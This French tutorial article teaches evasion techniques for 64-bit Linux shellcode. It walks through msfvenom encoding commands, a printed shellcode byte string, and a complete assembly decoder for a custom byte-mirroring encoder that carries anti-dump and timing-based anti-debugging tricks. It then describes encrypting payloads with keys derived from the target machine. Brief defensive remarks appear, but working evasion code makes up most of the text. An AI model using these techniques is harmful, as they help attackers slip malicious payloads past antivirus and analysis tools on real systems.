L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes.
Cet article fait suite à l’article précédent Linux shellcode 64 bites – Obfuscation
Encoders
Le shellcode vu dans l‘article précédent est obfusqué, c’est pas mal, mais on peut faire mieux en utilisant des encoders.
Pour encoder votre shellcode vous avez le choix entre :
- Utiliser un encoder existant
- Modifier un encoder existant
- Créer un nouveau encoder
- Utiliser un encoder existant
C’est la solution de facilité mais il faut savoir que les signatures et les algorithmes des encoders publiques sont connues. Si vous pensez à l’encoder polymorphique « shikata ga nai » de Metasploit et bien il est facilement repérable de part la présence systématique de l’instruction (suspecte) FNSTENV.
Si malgré tout la technique vous tente, vous pouvez utiliser l’utilitaire msfvenom de Metasploit.
D’abord, exporter votre shellcode sous format d’opcodes :
for i in $(objdump -d sc64 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo \xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05
Ensuite il suffit d’envoyer ces opcodes dans un des encoders de msfvenom. Pour avoir la liste des encoders disponibles :
msfvenom -l encoders
Exemple d’encodage du shellcode avec l’encoder XOR :
echo -ne "\xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05 " | msfvenom -f c -e x64/xor -a x64 --platform linux
Cyberdéfense
En principe les outils modernes du marché suffisent à bloquer ce genre d’encoders car les signatures et algorithmes sont connues.
2. Modifier un encoder existant
Il suffit de prendre le code source de l’encoder, de le modifier un peu en ajoutant quelques instructions même inutiles. Cela suffit souvent à passer à travers les outils basés sur les signatures ou du pattern-matching.
Cyberdéfense
Les outils basés sur les signatures uniquement ne suffisent plus dans ce cas là, il faut utiliser d’autres techniques de détections, comme l’analyse comportementale en faisant par exemple appel à l’émulation de code.
3. Créer un nouveau encoder
L’avantage d’un encoder tout nouveau c’est que sa signature et son algorithme ne sont pas connus, c’est ce que je vous propose dans cet article.
Le principe est relativement simple : dans un premier temps il faut dumper les opcodes du shellcode puis créer un algorithme qui mixe tous ces opcodes.
Afin de récupérer les opcodes, tous les moyens sont bons, un script Python, un éditeur hexadécimal, la commande xxd, etc…
Sinon vous pouvez toujours récupérer un script de dump tout fait sur www.commandlinefu.com
Une fois que vous avez votre suite d’opcodes il faut trouver une façon de les encoder. Dans ce domaine tout est possible, libre cours à votre imagination !
L’algorithme proposé ici est sommaire, il s’agit de swapper les opcodes comme dans un miroir. J’échange le premier opcode avec le dernier opcode, le deuxième avec l’avant-dernier, etc, La condition pour que cet algorithme fonctionne est un nombre pair d’opcodes ; si ce n’est pas le cas il suffit d’ajouter une instruction inutile en fin de code comme un nop.
Voila, une fois l’algorithme défini, il n’y a plus qu’à le baptiser, coder l’encoder, en général en Python, puis le decoder en assembleur ; j’ai appelé cet encoder, le « mirror encoder ».
Je n’ai pas mis ici le code source de l’encoder, si cela vous intéresse faites-moi signe, je le mettrai en ligne.
Quant au decoder, voici un exemple d’implémentation en assembleur 64 bits utilisant la technique du « JMP-CALL-POP » :
; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64.nasm -o sc64.o
; $ ld sc64.o -o sc64
global _start
section .text
_start:
jmp begin+1 ; anti dump, disalign opcode
begin:
db 0xe9
; anti debugging
rdtsc ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
xor ecx,ecx ; sets ECX to zero
add ecx,eax ; save timestamp to ECX
rdtsc ; get another timestamp
sub eax,ecx ; compute elapsed ticks
cmp eax,0xFFF ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
jl next
retn ; program crash
next:
jmp ONSTACK
GO_LOOP:
pop r8 ; r8 is the SC address
xor rcx, rcx ; offset to first SC byte
mov rdx, 0x3d ; offset to last SC byte = SC length -1
LOOP:
cmp rcx, 0x1F ; SC length / 2 - stop swapping bytes when we are in the middle
je SC ; go to decoded shell code
mov al, byte [r8+rcx] ; save values
mov bl, byte [r8+rdx]
mov byte [r8+rcx], bl ; swap values
mov byte [r8+rdx], al
inc rcx ; go to next byte from left to right
dec rdx ; go to next byte from right to left
jmp LOOP
section .data
ONSTACK:
call GO_LOOP
SC: db 0x05,0x0f,0x0b,0x04,0x24,0x3c,0x8d,0x48,0x51,0x08,0xe9,0xc1,0x48,0x30,0xb0,0x08,0xe1,0xc1,0x48,0xd2,0x31,0x48,0x77,0x0f,0xc1,0x7e,0x0f,0x48,0xc1,0xdc,0x0f,0xc9,0x6e,0x0f,0x48,0x69,0x18,0x20,0x2e,0x2c,0x1f,0x12,0x2d,0xb9,0x48,0xc1,0x6e,0x0f,0x48,0x69,0x50,0x53,0x01,0x42,0x4a,0x50,0x02,0xb9,0x48,0xe9,0x01,0xeb
Cyberdéfense
Un moyen de contrer ces attaques est de passer par de l’émulation de code (je vous conseille d’aller voir le projet Unicorn).
Crypters
Ici l’idée n’est plus d’encoder le shellcode mais bel et bien d’utiliser du chiffrement ( symétrique, ou asymétrique).
Le plus simple est de partir sur un algorithme symétrique comme RC4 ou AES en récupérant une implémentation sur le Net puis de chiffrer le shellcode encodé.
Le chainage
C’est ce que j’appelle la totale !
C’est le chainage de toutes les techniques d’évasion sur un même shellcode.
On part du shellcode d’origine sur lequel on applique de l’obfuscation, puis un encoder et enfin un crypter.
Mais un bon décodeur se doit de masquer sa clef de déchiffrement.
Pour cela il peut utiliser comme clef un identifiant unique de la machine cible (son nom, son ip, etc) de telle sorte que si on exécute ou émule le code du décoder sur une autre machine, on aboutisse à rien de significatif.